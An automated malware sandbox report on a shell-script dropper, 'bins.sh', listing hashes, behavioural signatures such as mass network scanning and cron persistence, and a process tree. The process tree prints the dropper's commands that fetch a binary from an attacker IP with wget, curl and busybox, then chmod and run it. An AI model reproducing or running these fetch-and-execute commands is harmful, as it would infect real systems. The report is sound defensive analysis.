Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
05-11-2024 02:43
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
701c9675dc7807d17a43199356d85a0b
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SHA1
3fef590ee0fbc9d16043732e239342d6d0dbaff6
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SHA256
b72cf0c01db021d59068dd1bdd23a4610251b9fb3b7081130fb12d9723296078
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SHA512
32b9af3d088dc5e91d175f39ff8135976ab85f304aa319422f45de4dd836940b6687a19049e8c0b3ed847525c4c9f3d792dcb0df02e2c26f5dd91d3821532768
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SSDEEP
192:HCVZUrDyiNRg1FX8s1i2a0W90w0ArTQgLau9EUFilVZUrDnNRg1FH8s1i2I0W90M:HciNRg1FX8s1i2rW+NArTQgLau9EUFiK
Malware Config
Signatures
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Contacts a large (2166) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 666 chmod -
Executes dropped EXE 1 IoCs
Processes:
wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJAioc pid Process /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA 667 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA -
Renames itself 1 IoCs
Processes:
wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJApid Process 668 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.ISYZdv crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curldescription ioc Process File opened for reading /proc/cpuinfo curl -
Processes:
wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJAdescription ioc Process File opened for reading /proc/871/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1038/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/14/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/108/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/715/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/735/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/769/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/11/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/736/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/772/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/854/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1005/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/999/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1001/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1042/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1151/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1152/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/732/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/857/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/858/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/911/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/638/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/785/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/935/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1090/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/2/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/760/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/855/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/903/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/908/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/789/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/798/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/819/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/897/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/22/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/710/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/861/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/955/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1073/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/743/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/752/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/862/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1048/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1120/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/744/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/750/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/898/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1155/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/767/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/859/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1059/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/711/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/963/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1100/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/587/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1143/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/1039/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/98/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/588/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/759/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/567/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/720/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/754/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA File opened for reading /proc/866/cmdline wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA wget File opened for modification /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA curl File opened for modification /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:633
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/bin/rm/bin/rm bins.sh2⤵PID:635
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/usr/bin/wgetwget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Writes file to tmp directory
PID:637
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/usr/bin/curlcurl -O http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:660
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Writes file to tmp directory
PID:665
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/bin/chmodchmod 777 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- File and Directory Permissions Modification
PID:666
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/tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA./wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:667 -
/bin/shsh -c "crontab -l"3⤵PID:669
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/usr/bin/crontabcrontab -l4⤵PID:670
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/bin/shsh -c "crontab -"3⤵PID:671
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:672
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/bin/rmrm wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵PID:688
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/usr/bin/wgetwget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵PID:691
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD53d6d33e70180d25e5a7d2577382a427a
SHA1ea83a376cf22266595df01ee4a9861bfa82cd55f
SHA25637f3010639cada11f22c190e7569890bf08f01e32ab8bde818ea573eadf8b29b
SHA512c39ba0b42dbf4f41d7f14c44bb94acb92c09dd62f3fc1ebeb459646995e8505ec290c186a752cf2a1b1f5aac813eba6ecf7152a7d71eebfa43bd573bbbf57b28